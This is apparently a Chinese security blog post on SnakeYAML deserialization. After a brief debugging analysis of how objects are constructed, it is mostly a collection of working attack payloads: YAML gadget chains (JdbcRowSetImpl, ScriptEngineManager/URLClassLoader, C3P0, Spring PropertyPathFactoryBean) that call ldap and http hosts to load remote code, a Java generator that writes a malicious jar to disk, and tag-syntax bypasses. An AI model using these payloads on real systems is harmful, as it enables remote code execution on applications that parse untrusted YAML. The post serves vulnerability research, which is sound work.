Snakeyaml 反序列化

漏洞分析

在snakeyaml1.x版本以下存在反序列化漏洞.对漏洞成因进行分析:

package org.example;

import org.yaml.snakeyaml.Yaml;

public class Main {
    public static void main(String[] args) {
//        Serialize();
        Deserialize();
    }


    public static void Serialize(){
        User user = new User();
        user.setName("ljl");
        user.setAge(18);
        Yaml yaml = new Yaml();
        String dump = yaml.dump(user);
        System.out.println(dump);
    }

    public static void Deserialize(){
        String s = "!!org.example.User {age: 18, name: ljl}";
        Yaml yaml = new Yaml();
        User user = yaml.load(s);

    }
}

User.java

package org.example;

public class User {

    String name;
    int age;

    public User() {
        System.out.println("User构造函数");
    }

    public String getName() {
        System.out.println("User.getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("User.setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("User.getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("User.setAge");
        this.age = age;
    }
}

在yaml.load处打断点进行调试:
一路跟进来到了BaseConstructor.constructObjectNoCheck方法(这名字好不吉利)

protected Object constructObjectNoCheck(Node node) {
        if (this.recursiveObjects.contains(node)) {
            throw new ConstructorException((String)null, (Mark)null, "found unconstructable recursive node", node.getStartMark());
        } else {
            this.recursiveObjects.add(node);
            Construct constructor = this.getConstructor(node);
            Object data = this.constructedObjects.containsKey(node) ? this.constructedObjects.get(node) : constructor.construct(node);
            this.finalizeConstruction(node, data);
            this.constructedObjects.put(node, data);
            this.recursiveObjects.remove(node);
            if (node.isTwoStepsConstruction()) {
                constructor.construct2ndStep(node, data);
            }

            return data;
        }
    }

然后在这里继续调试可以发现是利用了类的构造方法和Setter方法去恢复一个类.

POC利用

注意使用的时候空格一定不要出错,否则yaml在解析时会出现错误.

URL探测

用于探测是否出网的链

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://cab2f6ef.log.dnslog.sbs./"]]]]
JDBCRowSetImpl

打jndi注入,在fastjson中调试过了,要求出网.

!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:1389/Basic/Command/calc, autoCommit: true}
ScriptEngineManager

利用SPI机制去远程加载文件
首先去在工具yaml-payload-master中制作一个恶意类AwesomeScriptEngineFactory.java,修改其中的构造方法去执行命令.
然后将其编译并打包成jar包
image

最后开放在8888端口以提供远程访问.
当加载下面的yaml文件时即可执行命令.

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:8888/yaml.jar"]]]]
fastjson1.2.68魔改不出网利用

我们利用fastjson1.2.68写文件的链子去打不出网利用.首先先用yaml-payload-master去做一个恶意的jar,然后使用下面的脚本去生成payload.注意:第一个参数是恶意jar的位置,第二个参数是想要写文件的位置.

package org.example;

import org.yaml.snakeyaml.Yaml;

import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.zip.Deflater;


public class SnakeYamlOffInternet {
    public static void main(String [] args) throws Exception {
        String poc = createPoC("E:\\渗透非安装工具\\yaml-payload-master\\yaml.jar","D:\\\\yaml.jar");
        Yaml yaml = new Yaml();
        yaml.load(poc);

    }


    public static String createPoC(String SrcPath,String Destpath) throws Exception {
        File file = new File(SrcPath);
        Long FileLength = file.length();
        byte[] FileContent = new byte[FileLength.intValue()];
        try{
            FileInputStream in = new FileInputStream(file);
            in.read(FileContent);
            in.close();
        }
        catch (FileNotFoundException e){
            e.printStackTrace();
        }
        byte[] compressbytes = compress(FileContent);
        String base64str = Base64.getEncoder().encodeToString(compressbytes);
        String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\""+Destpath+"\"],false],!!java.util.zip.Inflater  { input: !!binary "+base64str+" },1048576]]";
        System.out.println(poc);
        return poc;
    }

    public static byte[] compress(byte[] data) {
        byte[] output = new byte[0];

        Deflater compresser = new Deflater();

        compresser.reset();
        compresser.setInput(data);
        compresser.finish();
        ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
        try {
            byte[] buf = new byte[1024];
            while (!compresser.finished()) {
                int i = compresser.deflate(buf);
                bos.write(buf, 0, i);
            }
            output = bos.toByteArray();
        } catch (Exception e) {
            output = data;
            e.printStackTrace();
        } finally {
            try {
                bos.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        compresser.end();
        return output;
    }
}

然后去打ScriptEngineManager链去触发本地的恶意jar

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file:///D:/yaml.jar"]]]]

从而达到不出网利用的目的

C3P0出网利用
!!com.mchange.v2.c3p0.JndiRefForwardingDataSource
jndiName: ldap://127.0.0.1:1389/Basic/Command/calc
loginTimeout: 0
C3P0不出网利用

要求环境中有能执行命令的反序列化链子.

!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
userOverridesAsString: HexAsciiSerializedMap:<hex_String>
PropertyPathFactoryBean

要求环境中有spring-context5.x和spring-core5.x

!!org.springframework.beans.factory.config.PropertyPathFactoryBean
 targetBeanName: "ldap://localhost:1389/Basic/Command/calc"
 propertyPath: mi1k7ea
 beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
  shareableResources: ["ldap://localhost:1389/Basic/Command/calc"]

bypass

绕过!!

并不只有!!类名这一种写法,实际上,!!会被转换为下面的标签.

!<tag:yaml.org,2002:类名>

例如,可以使用下面的payload去打jdbcRowSetImpl反序列化.

!<tag:yaml.org,2002:com.sun.rowset.JdbcRowSetImpl> {dataSourceName: ldap://127.0.0.1:1389/Basic/Command/calc, autoCommit: true}

还可以通过提前定义!为标识符的方式去设置标签.

%TAG !       tag:yaml.org,2002:
---
!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:1389/Basic/Command/calc, autoCommit: true}
posted @ 2025-01-24 11:30  colorfullbz  阅读(136)  评论(0)    收藏  举报